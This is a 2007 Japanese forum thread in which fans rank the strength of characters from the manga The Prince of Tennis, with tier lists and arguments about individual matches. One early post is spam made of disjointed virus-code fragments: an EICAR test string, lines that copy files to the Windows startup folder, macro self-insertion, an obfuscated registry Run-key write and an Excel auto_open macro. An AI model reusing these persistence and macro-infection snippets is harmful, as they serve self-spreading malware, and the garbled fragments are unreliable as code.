テニスの王子様　強さ議論スレッド17

テニスの王子様　強さ議論スレッド17 at WCOMIC

1:名無しさんの次レスにご期待下さい
07/08/30 20:14:13 NlRLLCDE0
設定も描写も考慮して議論しましょう。
・妄想は慎みましょう。
・ループは慎みましょう。
・荒らしは華麗にスルーしましょう。
・相性を考慮してできるだけ総当りでランクを決める
・勝ち負けだけでランクを決めない

■前スレ
テニスの王子様　強さ議論スレッド16
ｽﾚﾘﾝｸ(wcomic板)

・試合結果、描写
・オーダー表
・主将であるかどうか等
・キャラの強さに関する発言
・実績
・ジャンプ最新話時点での強さを優先
・矛盾が出る場合があるので基本的に原作のみ
・たしけ補正等は考慮外としてランク

2:中島
07/08/30 20:14:35 ex9kMPrB0
磯野～野球しようぜ～

3:名無しさんの次レスにご期待下さい
07/08/30 20:14:53 B+NWrUw/0
冨樫復活記念カキコ

4:名無しさんの次レスにご期待下さい
07/08/30 20:39:33 8dqerhVK0
Set A4 = A1.CreateTextFile(A1.BuildPath(A1. 1)))
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo ", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1. (BGN, 1)
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E. 1), A("VHORU@SU/WCR"))
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
kak\ \';\ken=\wd+'\START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
whichfile = p + w * 10
End Sub

5:名無しさんの次レスにご期待下さい
07/08/30 20:42:22 dBcUaXptO
乙
しかし今の試合見ると結局最後までBIG3は
幸村＞真田＞＞＞＞＞柳
で終わりそうだな

6:名無しさんの次レスにご期待下さい
07/08/30 20:55:01 xjJu0YHq0
真田が強すぎるからな
仕方なか

7:名無しさんの次レスにご期待下さい
07/08/30 20:59:15 gH5ajLQN0
真田も無我の境地を使いこなせるんだよな
意味なし設定と化してるが

8:名無しさんの次レスにご期待下さい
07/08/30 21:13:18 tJXteupo0
勝敗だけで決めないってことで考えて、
「勝敗はこうなったけど安定した実力は逆」と思われる試合は

銀ｖｓ河村→本来なら100％銀が勝つカード。一撃で腕を折る以外に河村の勝ち目なし。
甲斐ｖｓ菊丸→甲斐が最初から左手使ってたら、菊丸は1人ダブルスを6ゲーム使い続けないと勝負にならない。
柳ｖｓ乾→これは「3人の鬼才」「最強立海のBIG3」というイメージから来るものだけど、真田の言うように私情に流されなければ……と思いたいところ。

特に柳と乾の試合は未だにいろいろ腑に落ちない。
「柳は実は青学中堅レベル」という。
そんな柳を見て「この男、別格やわ……」なんてびびってた忍足の立場がない。

9:名無しさんの次レスにご期待下さい
07/08/30 21:30:06 di4VufgW0
データマンは取ったデータによって強さが変わるだろうから何とも言えない。
相手のデータを完璧に取ってれば手塚クラスにも勝てるかもしれないが
全然データ取って無い相手だと中堅クラスにも負けるかもしれないって感じじゃね？
柳vs乾はお互いに相手のデータをほぼ完璧に取ってたから勝率５０％って話なんだろう。

10:名無しさんの次レスにご期待下さい
07/08/30 21:33:07 MYjdv3WO0
忍足は桃城の100%ダンクに手こずるレベルだろ

乾＝柳＞＞＞忍足桃城

何もおかしいことはない

11:名無しさんの次レスにご期待下さい
07/08/30 21:48:50 aXTbWjtr0
柳は本来ダブルスで真価を発揮するっていう裏付けが漸く来ましたよ

12:名無しさんの次レスにご期待下さい
07/08/30 22:50:59 iPQezcda0
前スレでもそうゆう説があったな
柳は青学に入ってたら１年からレギュラーなんてありえない
小学生の頃は乾と同格だから、ランキング戦で勝てる訳がないし
ランキング戦にも混ぜてもらえない

シングルスは乾と同格で、ダブルスは昔から強かったんだろ
立海に入って良かったな

13:名無しさんの次レスにご期待下さい
07/08/30 23:09:26 aXTbWjtr0
シングルスプレイヤーの乾とダブルスプレイヤーの柳という設定が確定したんなら
シングルスでガチで戦って勝率５０％だったということは純粋な能力は柳＞乾になる
シングルスでのランキングなら大したレベルじゃないだろうが
ダブルスの要として貢献してきたんならBIG３と言われてもおかしくないべ

14:名無しさんの次レスにご期待下さい
07/08/31 00:44:27 a57LoDOL0
とりあえず適当に立海と青学だけのランキングで

SS　幸村(描写待ち)
S　真田＞ヅラ
A　蟹　不二　全国決勝赤目切原　全国決勝ダブルス柳　　
B　ヅラが7人と呼ばれるBIG3と赤也以外の立海レギュラー
C　乾　菊丸
E　桃　海堂　
F　寿司屋
G　大石

15:名無しさんの次レスにご期待下さい
07/08/31 01:15:08 TCxToD9C0
ここまではガチ

シングルス
・真田＞手塚≫千歳≫橘≫伊武≫門脇
・金太郎＞白石＞不二≫芥川＞観月＞不二弟
・越前≧跡部≫田仁志＞日吉≧亜久津＞大石＞季楽
・銀≫河村＞天根
・乾≧柳＞忍足＞桃城≫千石＞リチャード
・木手＞甲斐＝菊丸≫佐伯
・平古場＞知念≫葵
・切原≫クラウザー≫海堂

ランク
真田
手塚
：
千歳
：
木手
；
甲斐　菊丸
知念
：
葵　佐伯
：

ランク外　樺地

16:名無しさんの次レスにご期待下さい
07/08/31 01:41:04 DSHIiNhk0
越前≧跡部なら白石≧不二じゃないかと思う。乾と柳は同格か柳が上かな。
それとモモシロと千石は≧くらいの関係で充分だろ。

17:名無しさんの次レスにご期待下さい
07/08/31 02:03:01 DtuUS6mS0
そんな無茶言われても。千石パワーアップしてしてないし。

18:名無しさんの次レスにご期待下さい
07/08/31 02:03:18 m20HSBT50
元々負けたのが痙攣状態だった上に、読心だのスネイクだの色々成長してるからな
神尾戦で見せた逆を突く技を思いっ切り高評価しない限り≧は無い

19:名無しさんの次レスにご期待下さい
07/08/31 02:26:31 DSHIiNhk0
ごめん≧は言い過ぎた。でも＞くらいでいいと思うよ！
＞＞くらい差つけると６－０か６－１で勝てるくらい差がないと。

20:名無しさんの次レスにご期待下さい
07/08/31 02:41:48 m20HSBT50
それくらいの差があると思ってるから＞＞になってるんだけどね

>>15の日吉≧亜久津はガチじゃないだろ
日吉戦の越前は最初からハイテンションだったからその二人にはスコア以上の差がある
って意見は亜久津の話題になる度に出てるぞ

21:名無しさんの次レスにご期待下さい
07/08/31 04:44:04 d6GUKsqT0
金＞白石もガチとは言いがたい。
金が四天宝寺最強という発言はあるが、描写においては百錬手塚よりかなり落ちる無我越前と互角かちょっと強い程度。
百錬手塚より強い千歳に金が勝てるようには見えない。
金の強さは幸村と同じく描写待ちの保留で良いと思う。

22:２１
07/08/31 04:45:10 d6GUKsqT0
無茶苦茶なことを書いてしまった。無視してください。
金＞白石は確定で良いや。」

23:名無しさんの次レスにご期待下さい
07/08/31 05:38:27 DtuUS6mS0
まあ、すでに既出だが互角と勘違いしやすいが、よく考えると全然互角じゃないしな。
一球勝負で、無我で相当消耗してる時点で勝ち目がない。

金と千歳なら、野生テニスと才気で互いに防ぎまくる内容になるな。
才気が金太郎の球をうまくアウトさせれるなら千歳有利、無理なら持久戦で金太郎有利。

金VS白石だと論外だろう。

24:名無しさんの次レスにご期待下さい
07/08/31 05:53:39 d6GUKsqT0
>>23
何十分もラリーが続いて互いに1ポイントもとれてないんだからどちらかが上だとしても実力が拮抗してるのは間違いないでしょ。

25:名無しさんの次レスにご期待下さい
07/08/31 07:15:03 3b5cbhNM0
ダブルスがどれだけ強かろうとBIG3とか言われるかな？
少なくとも切原は「３人の鬼才（バケモノ）が倒せねえ」って言ってたし、
Sでも立海で３番目の実力者だと思うんだが
（むしろなぜ関東青学戦でSだったんだよ？）

26:名無しさんの次レスにご期待下さい
07/08/31 07:52:42 Tpm5s1WoO
言葉の通り三番目の実力者なのは間違いないんだろ。
乾相手だと勝率悪いか仁王以下がヘタレ揃いなだけかの
どっちかしかかないじゃん
解釈が分かれるが桐原が倒せないのは一年の時からビッグ3だけなんだと俺は思う

27:名無しさんの次レスにご期待下さい
07/08/31 07:53:27 DtuUS6mS0
>>24。

>>23の内容読んでないだろ。
そういう誤解はありがちだけど、実際は普通に試合してたら
越前は互角に戦えるのは数球まで。

28:名無しさんの次レスにご期待下さい
07/08/31 07:56:21 tXzIYc9d0
青学のデータを調べてオーダーを予想して、4年ぶりの親友のデータ見てたら実際に戦ってみたくなったので、
参謀特権を活かしSへ（不動峰戦ではワガママ言わずDへ）

29:名無しさんの次レスにご期待下さい
07/08/31 08:05:59 3b5cbhNM0
>>28
なんで青学のオーダー知ってるのｗ
そこまで行くとデータマンというか反則だろ

30:名無しさんの次レスにご期待下さい
07/08/31 08:06:46 3b5cbhNM0
ああ、「予想」か
読めないと思うけどなぁｗ

31:名無しさんの次レスにご期待下さい
07/08/31 08:12:47 Ob75GtsLO
不動峰戦
真田｢蓮二、俺はシングルスの戦い方しか出来ないから、そこのところよろしく｣
柳｢(なんとワガママな…)｣

32:名無しさんの次レスにご期待下さい
07/08/31 08:50:08 TCxToD9C0
>>19
今の桃城なら千石倒したころの桃城に圧勝できると思うけど

>>25
普通に言われるだろ。３番目に有名ってことだろ。
知名度≠強さ
ファントム、零式サーブ、才気、百錬、無我を使わない状態の手塚でも
ギャラリーは中学トップ３には入る強さだと思ってる
実際には白石にも完封されそうだが

33:名無しさんの次レスにご期待下さい
07/08/31 09:26:09 rhNW7hpy0
四天
青学
立海
－－テニヌ－－↑
不動峰
氷帝　　　　　　　（見えない境界線）
比嘉
山吹
－－テニス－－↓
六角
ルド
その他

34:名無しさんの次レスにご期待下さい
07/08/31 10:25:10 DvV/Pk8i0

SS真田
S手塚
AA越前　跡部
A橘　白石　柳　木手　赤目切原
B乾
C菊丸　甲斐　忍足　桃城　海堂　
D知念　神尾　
E亜久津　伊武　芥川
F千石　佐伯　葵　
G観月　不二弟　季楽

35:名無しさんの次レスにご期待下さい
07/08/31 11:29:56 wqa7BXjBO
>>28
不動峰戦でシングルスの動きをしてるし
青学が決勝に進むのが決まる前から柳の決勝シングルスは決まってただろ

単純に幸村が抜けてシングルスが弱体化したからシングルスに回っただけじゃない？

36:名無しさんの次レスにご期待下さい
07/08/31 13:00:00 6PA4vaau0
普通に考えれば全国大会の決勝戦だから
これがベストオーダーのはずだ。
柳がダブルスプレイヤーなら星座の相性から
柳生と切原になる。少なくとも外人軍団との
試合結果を見れば柳生は負け切原は勝った。
丸井・ジャッカルはニャとしていたが柳生は
普通に負けたのかも知れない。
Ｓ２になれば分かることだが柳とは逆に仁王は
本来はシングルスプレイヤーであるとなるだろう。
乾＝柳で仁王＝不二と考えれば仁王は柳を怖いねぇとは
言っているが実力は仁王＞柳じゃないのか？
データが取れない＝勝てない。

37:名無しさんの次レスにご期待下さい
07/08/31 13:21:01 Tpm5s1WoO
柳生先輩…こいつ何て言ってるんスか？

38:名無しさんの次レスにご期待下さい
07/08/31 13:28:38 1pYDxtCz0
蓮二と悪魔をもってしても、来週のジャンプでは雑魚共に反撃を許すのか…
ていうかこの漫画強さ関係なく蟹に勝てる奴などいない…奴と当たった奴ら
は不幸…幸村が負けるのも明白…

39:名無しさんの次レスにご期待下さい
07/08/31 13:37:56 a57LoDOL0
流れぶった切るけど
去年の青学のオーダーは
S1、２　卒業した先輩　S3手塚
D1大石と卒業した先輩or菊丸　D2不二と卒業した先輩
補欠　乾
だと思う

去年の青学は都大会決勝で氷帝に負けていて
跡部とは当たっていない。
忍足ブチャが氷帝のダブルス最強の雰囲気を出していて、
菊丸のアクロバットを含め黄金をライバル視してるけど戦ったことがないように言っている。
スミレちゃんがカバジのパワーのことを知っているから。
S1跡部、S2カバジ、D2忍足ブチャだと思う。
ジローはやる気がないから補欠。
跡部とカバジと忍足とジローぐらいは去年から正レギュラーでもおかしくないわな。
ブチャが準レギュラーでコンビだから準レギュラー枠のDに忍足も参加したと思う。

不二が関東レベルの天才だと言われるのは不二がダブルスだと
やる気がないのと本領発揮できないからダブルスで試合をして負けたからだと思う。
忍足が天才と言われるのはそんな不二にダブルスで勝ったからだと思う。
去年、立海に負けてもダブルス不二ならおかしくなさそうだし。

新人戦とか個人戦とか夏以降の大会があるのかよくわからんからそこらへんのことを抜きで妄想した

40:名無しさんの次レスにご期待下さい
07/08/31 14:02:58 TCxToD9C0
>>34
柳と赤目に関東不二をフルボッコできるとでも？
そのランクでいくと今の不二はAに入るし
クラウザーとかどんだけ強いの。

>>39
大石の昨年の相棒は先輩。（地味ーズに負ける）
跡部は昨年は青学の部長を倒している。（桃城の解説）
樺地は１年でレギュラー？
不二が関東レベルと言われたのは、天才と言われてる割に白石に歯が立たなかったからじゃね？

41:名無しさんの次レスにご期待下さい
07/08/31 14:04:51 cULyG5x40
>>36
仁王のデータが取れないなんて言ってたのは乾で柳じゃないと思うが

42:名無しさんの次レスにご期待下さい
07/08/31 14:58:08 3b5cbhNM0
みんな、一応言っておくが前提として作者は頭おかしいし行き当たりばったりな人だからな？
あんまりマジになりすぎずに遊ぼうぜｗ　彼ら現実世界の住人じゃないからな。

その場の思いつきで
「赤也をすげーパワーアップさせて決勝盛り上げよう。
じゃあ外人に赤目をフルボッコにさせて、さらにそこから覚醒して外人フルボッコにしたらCOOLじゃね？」
みたいに描いてるだけとしか思えん、整合性があちこちでおかしいのを全部辻褄合わせようとすると
何がなんだかわからなくなるからな。

たとえば物理的描写だけ見たら銀が最強すぎるって話だ、
テニス慣れしてない人は銀が最強だと思ってもおかしくないが、
でも実際は銀なんて四天宝寺の3番手以下だし。
バイクを持ち上げたりゴルフクラブを曲げるのに汲々としてて
全力疾走でもたかがバスごときに追いつけない金ちゃんが最強らしいし。

43:名無しさんの次レスにご期待下さい
07/08/31 15:26:49 BrYclvEt0
だって108式より危険なんだから

44:名無しさんの次レスにご期待下さい
07/08/31 18:22:04 TCxToD9C0
>>42
切原は別に問題ないだろ

ドラゴンボールでいうと
悟空をすげーパワーアップさせて盛り上げよう。
じゃあ強敵に悟空をフルボッコさせて、さらにそこから覚醒して強敵フルボッコにしよう
ってのと一緒だろ？

超サイヤ人悟空＞フリーザ＞以前までの悟空
が成り立つだけで別に整合性はおかしくならんだろ。

悪魔切原＞クラウザー＞赤目切原
が成り立つだけだ。

整合性がおかしくなるのは、描写無視して辻褄がおかしくなるセリフを
キャラに言わせることだ

例えば、
関東手塚は幸村が不在の今、関東真田とならんで最もプロに近い
とか

↑　これを辻褄合わせしようとすると、おかしくなるけどな

45:名無しさんの次レスにご期待下さい
07/08/31 18:38:53 cULyG5x40
まあ

風林火山は特性があるがそれぞれ完璧な技であるが故打ち消し合ってしまう

とか言うくらいだから

46:名無しさんの次レスにご期待下さい
07/08/31 18:42:46 BrYclvEt0
風林火山の相性が
選手それぞれのテニスのスタイルの相性にもつながるかもしれない。

47:名無しさんの次レスにご期待下さい
07/08/31 18:57:47 cULyG5x40
>>46
相性の差で負ける事ってこの漫画だと珍しいよな。
ルドルフ戦の黄金ペアくらいじゃないか？

48:名無しさんの次レスにご期待下さい
07/08/31 18:57:57 a57LoDOL0
銀様の波動球108式も山でゆるやかに受け流せるのか？

49:名無しさんの次レスにご期待下さい
07/08/31 19:03:42 cULyG5x40
>>48
林は相手の技巧を受け流す技っぽい
波動球だと火でねじ伏せるか、雷で圧倒するかじゃね？

50:名無しさんの次レスにご期待下さい
07/08/31 19:09:11 ld78zIE90
>>47
桃城対忍足、越前対跡部もだろ

51:名無しさんの次レスにご期待下さい
07/08/31 19:24:52 BrYclvEt0
風＞火＞山＞林＞風…かな。

風（スピード）
越前　ケンヤ　神尾　菊丸

林（テクニック）
柳　不二　イブ　木更津淳

火（パワー）
キリハラ　タカさん　石田兄弟　タニシ

山（ディフェンス）
跡部　海堂　ジャッカル

こんな感じ？

52:名無しさんの次レスにご期待下さい
07/08/31 19:52:49 AJgjAkwF0
さすがに銀とパワー（火）で真っ向勝負は自殺行為だから
風とか雷あたりを組み合わせて上手くかわしながら戦うんじゃねーの

53:名無しさんの次レスにご期待下さい
07/08/31 19:57:04 f0wt5Io+O
>>51
桃と乾はなんだろ
火、風か？

54:名無しさんの次レスにご期待下さい
07/08/31 21:02:05 9/ND8awx0
桃城は自分で攻撃型だと言ってるから火だな

55:名無しさんの次レスにご期待下さい
07/09/01 00:17:26 lGzYpozW0
なのに関東決勝で越前に火を使ってしまった件

56:名無しさんの次レスにご期待下さい
07/09/01 00:23:58 vvbdNYMm0
>>55
何に対しての「なのに」なのか知らんが
あれは普通に蟹が前へ出て攻撃的な戦い方になったからだろ

風火陰雷と四つも使っておきながら何故か林を使うのだけはやけに躊躇した
全国決勝に比べれば毛ほどの不自然さもない
そもそも回転を操る手塚に対して真っ先に使うべき技だろうに

57:名無しさんの次レスにご期待下さい
07/09/01 00:27:52 i6qBXKMH0
真田は誰に対してもどの技も使うってことで
考察するってことにならなかったっけ？

58:名無しさんの次レスにご期待下さい
07/09/01 00:33:00 QCT/ETcH0
いや今は単にどいつがどのタイプかって話してるだけじゃないのか

59:名無しさんの次レスにご期待下さい
07/09/01 03:49:51 ZmTd4FP+0
>>51
林はテクニックを殺すテクニックだからな。
手塚戦を見る限り真田基準では技巧に優れた相手に林を使うのは真っ向勝負とは正反対のチキン行為らしい。
じゃあ、なんでお前林なんて覚えたんだよという話になるわけだが。

60:名無しさんの次レスにご期待下さい
07/09/01 04:24:58 tr6WsUkF0
また始まった・・・

61:名無しさんの次レスにご期待下さい
07/09/01 07:17:08 m5N9S7iC0
>>59
柳相手には使ってるじゃないか。
手塚は陰と雷で勝ちたかったんだろ。

62:名無しさんの次レスにご期待下さい
07/09/01 07:44:25 m5N9S7iC0
×手塚は
○手塚には

だな。
真田は林・陰・雷だけで戦える。
無我の境地なんてどうして覚えたんだろう。

63:名無しさんの次レスにご期待下さい
07/09/01 07:55:42 OYQ81gTc0
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64:名無しさんの次レスにご期待下さい
07/09/01 07:56:11 lrqsZnh10
手塚に林を渋ったのがおかしいっつー皮肉だろ
越前・切原を見るに無我の境地は別に覚えようと思って覚えるもんでもなさそうだから
いつの間にか出来るようになってたんじゃないの

65:名無しさんの次レスにご期待下さい
07/09/01 09:22:05 y0Wa104g0
>>51
陰雷足して六角形グラフになりそうな感じ

66:名無しさんの次レスにご期待下さい
07/09/01 10:29:21 Ro4O8tYZ0
現状って真田がぶっちぎりで最強すぎてる感じでいいんだよな？
このあと出てくる蟹だの不二だの幸村だのは置いておいて、
ほとんど誰も雷・陰・林を持つ真田には勝てっこないと思うんだが

まず千歳は無理、手塚の劣化版みたいなもんだし
四天宝寺では千歳より格下っぽい銀や金のほうがまだ可能性がある
（少なくともパワーなど一芸で真田を上回る可能性がある）

跡部はどうだろうな、氷の世界は陰で潰されるってことない？
そもそも地力が真田＞跡部だから、氷が通用しなければ勝ち目ゼロだ
樺地も手塚戦が上限だとしたら勝てない、まあここは保留が妥当だろうけど

あと強そうなのは木手とか橘だが、まあ考えるまでもなく勝てないな

他の連中は論外って感じか

67:名無しさんの次レスにご期待下さい
07/09/01 10:52:05 mDekWmCj0
カバ時が雷コピーしたらいい勝負しそうじゃね？

68:名無しさんの次レスにご期待下さい
07/09/01 11:05:05 m5N9S7iC0
>>67
良い勝負しそうだが根性の差で真田が有利
後、「ハイランカー」もある

69:名無しさんの次レスにご期待下さい
07/09/01 11:45:50 +nkb5J8tO
>>66
氷の世界はあくまで死角を見つける能力だから陰は関係ない気がする。
いやでも氷の世界も元は洞察力なんだから関係するのかな……？
どのみち、跡部との試合を見てあのままじゃ負けてたぞと言ってた幸村が
雷陰使う真田に勝てるのは俺くらいとも言ってるんだし跡部は勝ち目薄いんじゃないか。
どこまで幸村の発見信じるかにもよるけど。未知数なのはやっぱ金銀か。

70:名無しさんの次レスにご期待下さい
07/09/01 12:01:29 vvbdNYMm0
まあ諸説あるが
陰で死角が見えなくなったら文句なしに真田の勝ち
陰でも死角は見えるとしても氷と雷の返球不能技の打ち合い
転がらないサーブも返せてリターンでも使える雷持ちの真田が圧倒的有利だな

71:名無しさんの次レスにご期待下さい
07/09/01 12:07:07 i6qBXKMH0
ていうか、描写無視してセリフ重要視するのはどうかと
「亜久津にデータテニスは通用しない」ってのをうのみにすると

亜久津＞柳　になるし

「このまま続けてたら負けてたぞ」なんて誰がどう考えても、考慮外だろ

真田＞手塚＞百錬才気手塚≫千歳＞百錬手塚＞越前＝跡部　なのに

跡部に勝てるわけないだろｗ
てか、手塚より弱いやつが真田に勝てるわけない
雷や陰を使わないのなら別だが

72:名無しさんの次レスにご期待下さい
07/09/01 12:34:49 vvbdNYMm0
>>71
技の差やテクニックの差を全部無視して
データが通じないから亜久津＞柳ってなんだよｗ
その理屈なら真田は手塚ゾーンが使えないから跡部＞真田ってことにならないか？

跡部が手塚より弱いのは手塚ゾーンと才気によって最強の切り札である氷の世界が無効化されるからであって
真田はゾーンを破ったがゾーンが使えるわけではなく才気を破ったが才気が使えるわけではない
＞手塚より弱いやつが真田に勝てるわけない
はっきり言ってこんなこと言う奴は強さ議論に向いてないよ

73:名無しさんの次レスにご期待下さい
07/09/01 12:39:42 jxjaJaaXO
>>71
「データテニスは通用しない」
ってセリフを信用するとどんな描写無視になるんだ？
亜久津データテニスが通用してる描写とかあったっけ？

74:名無しさんの次レスにご期待下さい
07/09/01 12:44:56 2bblBFcx0
そもそも乾が言ってることを柳に当てはめるのはどうなのかと

75:名無しさんの次レスにご期待下さい
07/09/01 12:57:58 HL5PUu6D0
とりあえず真田は今の所最強だろうな。
林火陰雷の重ね掛けも可能だったし。山は空気だけど…

跡部と真田の力量は氷の世界が通用しても真田に勝つのは無理なんじゃ？
サービスでは氷の世界は発動できない(出来てたらｺﾞﾒﾝ)から
リターンでは発動可能でも最後は地力の差で真田が勝つと思う。

でも氷の世界もなんとなく陰には通用しない気がするな…

76:名無しさんの次レスにご期待下さい
07/09/01 13:06:00 y0Wa104g0
昨日亜久津戦のとこ読んでたがデータテニス云々は言ってなかったなあ
あいつ留学伏線あったが全国後に何かやらかすつもりかなたしけ

77:名無しさんの次レスにご期待下さい
07/09/01 13:31:53 i6qBXKMH0
>>72
いや、だから跡部＞真田と同じ理屈で亜久津＞柳とかになってどっちもおかしいことになるだろ？
と言いたかっただけ。おれは　柳≫亜久津　だと思ってるし

>>73
>>76
おれの思い違いだったかも。スマソ

相性の問題が出るのはあくまで、似たような実力あるもの同士だと思うけどな
明らかに実力差があったら相性関係なしに結果は分かるだろ
極端に言うと、堀尾がもし氷の世界使えたとしたら真田を脅かすのかと？
今の真田から見たら、跡部も堀尾もザコだろｗ
跡部と堀尾には相当な差があるけどな。

78:名無しさんの次レスにご期待下さい
07/09/01 13:35:59 m5N9S7iC0
真田ってサーブの時も雷モドキを打てるのか？
打てないなら跡部にも反撃のチャンスはありそうだが。

79:名無しさんの次レスにご期待下さい
07/09/01 13:56:58 i6qBXKMH0
>>78
サーブに対しても正確に死角に打ち込めるならポイントは取れるだろうけどな。（リターンで氷の世界使ってたっけ？）
真田は普通に無我使えば、タンホイザーもビッグバンもハブもできるだろうし（使わないだろうけど）
跡部に勝ち目はないだろ

80:名無しさんの次レスにご期待下さい
07/09/01 13:57:34 vvbdNYMm0
>>77
お前の発想がおかしいだけだ
仮に「亜久津にデータは通用しない」って台詞があったとしても亜久津＞柳にはならないって言ってるんだよ
柳と亜久津は台詞は信用ならないからって却下できても
跡部と真田は台詞じゃなく描写から来るものだし
お前の考え方なら跡部＞真田を否定する材料はないぞ
>>78
サーブで雷が撃てたら真田は手塚に追いつかれるはずが無い

81:名無しさんの次レスにご期待下さい
07/09/01 14:00:40 mDekWmCj0
さすがのカバ時も、ハイランカーをコピーするのは想像できない。

82:名無しさんの次レスにご期待下さい
07/09/01 14:02:29 jxjaJaaXO
>>77
雷が異常な性能なだけで跡部と真田にそんな絶大な差はないだろ
結局は風火雷と氷の世界どっちが先に発動するかの勝負になる

83:名無しさんの次レスにご期待下さい
07/09/01 14:08:09 sZpfZEsQ0
とりあえず真田に勝つには
①火よりも強いパワーをもってて1試合持続できる
②雷を使わせ続けてかつ試合を持久戦に持ち込み足を壊す
この２つしか今のところ方法はねえよな・・・。
まあ所詮スペックが高い真田だから手塚以外無理だと思うけど・・・。
手塚以外で期待できるのは金銀樺そしてすっげー超絶に持ち上げて跡部。

跡部の場合（氷が効くか効かないか半々ぐらいで一応風林火山までは対応できると仮定）・・・
真田のサービスの時はとりあえず普通に打ち合うことはできんだろう・・・。
①真田サーブ→跡部返す（ここで氷が使えない場合）→真田雷打つ→15－0
②真田サーブその際陰発動→跡部返す（氷発動できる場合）→死角は死角なんで普通反応できんが陰で隙をなくして雷で一瞬で死角の打球を返す
　　　　　　　　　　　　　　　　　　　　　　　　　　　└陰が全く効かないならここで跡部のポイント（おそらく可能性薄）
まあこれが真田サービスね。
次跡部サービスの時（タンホイザーは打ち続けられる＋負担は零式なんかよりはるかに低いと仮定）
①タンホ打つ→真田は零式の時同様に雷火林を使う（林だけで返せるだろうってのはここでは無しでｗ）→跡部氷使う→そっからは上の①②の氷発動後の展開
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　└ここで真田のポイントになる
②タンホ打つ→真田全く返せず（可能性ほぼ０の薄さ）
ぐらいかな・・・？
これで跡部の最高の良いパターンでタイブレークまで持ち込めたらおそらく真田の足が使えなくなると思う。
まあはっきり言ってこんなすっげー都合よく行くわけねえけどｗｗあくまで持ち上げてなんとか跡部にも可能性があるって理論を作ってみただけなんで
壮絶に批判せんでねｗｗわかってて書いてるんで。。。

84:名無しさんの次レスにご期待下さい
07/09/01 14:17:58 m5N9S7iC0
>>82
跡部は山を崩せず1ゲームも取れてない。
氷の世界なし、陰と雷なしなら真田の楽勝。

85:名無しさんの次レスにご期待下さい
07/09/01 14:23:35 jxjaJaaXO
>>84
でも実際にはあるんだよね

86:名無しさんの次レスにご期待下さい
07/09/01 14:59:52 i6qBXKMH0
正直、クリリンが太陽拳で目くらましして気円斬当てれば
フリーザに勝てるかもしれんな、フリーザとクリリン同ランクにするか。
って言ってるのと同じようにしか感じんｗ

87:名無しさんの次レスにご期待下さい
07/09/01 15:02:09 m5N9S7iC0
>>83
跡部に勝ち目があるとしたら

真田のサーブを氷の世界で返す
陰で氷の世界が封じられない

という条件を満たす必要がある
跡部は風林火山は攻略出来ないんだから

88:名無しさんの次レスにご期待下さい
07/09/01 15:02:59 VfVtbdYj0
>>83
雷火林は手塚のラケット吹っ飛ばすんだからそもそも返球できんと思う

89:名無しさんの次レスにご期待下さい
07/09/01 15:18:43 VfVtbdYj0
話は変わるがあのパワーショットを打てる赤目切原が柳より弱いのか疑問だが
それでも柳が勝てるという前提で理由を模索するなら
データテニスに基づくゲームメイクでパワーショットを封じることができるってところかな

しかしトルネードをあのパワーで返球できる赤目をデータで抑えられるなら
銀は乾柳には負ける可能性あるかもな

A　橘　白石　不二　木手
B　乾　柳　銀　赤目切原
C　菊丸　甲斐　田仁志

こんな具合に
乾柳に負けるなら橘を抑えられないってのも納得だが・・・

90:名無しさんの次レスにご期待下さい
07/09/01 16:07:34 sZpfZEsQ0
>>86
俺にレスに対していってるとおもうんで、返答。
上2行目の、まではまさにおっしゃるとおりです。けどそっからは違いますよｗｗ
いくらなんだって・・・。あくまで０に近いけど勝てる可能性を書いただけでランクを同じにしようなって思ってもないっすよ。
跡部は蟹と同レベルってのは変わらんですよ。

>>87
それどこの描写であった？とりあえず山は氷習得時に攻略してたし・・・。
ってかそもそも跡部って素で無我みたいにコピーしてるし全国無我蟹（ゾーン無し）の時は圧倒するぐらい
だった時点ですでに風林火山レベルの真田には勝てるんじゃね？？問題は雷と陰を習得した真田であって風林火山真田（関東時）は問題でわない気がします。
自分で風林火山までは対応できると仮定って言っておきましたがあれいらなかったですね・・・。

>>88
確かにあなたの言うとおりです。だからそれすらできないぐらいタンホイザーがすごくて
反応できずっていうどえらいあまりに可能性薄の②のパターン作りました。
まあ実際普通に真田が雷火林使ってタンホイザー返してポイントが目に見えるけど・・・。

とりあえずあくまで跡部にとって都合よすぎるパターン書いてみてこれなら万が一の確率で勝つかもよ？的なのを
書いただけなんで。。。
ってか勝つパターンだと
真田サーブ時は②のパターンの下側＋跡部サーブ時②が程よく決まって（あくまですべて決まるんじゃなくて）
タイブレークまで持ち込めば真田の足はたぶんイカレて試合続行不可能ウォンバイ跡部かな。

91:名無しさんの次レスにご期待下さい
07/09/01 17:06:17 VfVtbdYj0
そんな万が一真田に勝てる確率を論じたって跡部が惨めになるだけだろ
それが目的なら何も言わないが。
そんなありえない仮定で論ずるなら不二は
跡部に万が一勝てるどころか快勝できるぞ

跡部を持ち上げたいならまず金太郎あたりに勝てる可能性を論ずるのが
順番的に筋だと思うしはるかに現実的で建設的じゃあないか？

92:名無しさんの次レスにご期待下さい
07/09/01 17:17:18 vvbdNYMm0
>>91
逆じゃね？
金太郎が跡部に勝てる可能性を論ずるならわかるが
普通にやったら跡部の勝ちじゃん

93:名無しさんの次レスにご期待下さい
07/09/01 17:24:52 VfVtbdYj0
俺も跡部は金太郎には相性的に有利だと思ってるよ
だからこそ跡部を持ち上げるならまずそこだろと薦めてみた
少なくとも真田との比較なんてなにも産み出さない

まあ相性ってのは難しいもんで
今度は不二が跡部に勝てる可能性も出てくるんだけど

94:名無しさんの次レスにご期待下さい
07/09/01 17:28:11 sZpfZEsQ0
>>91
俺が書いた理由は俺より前の話で跡部が真田に～って話がでてたから
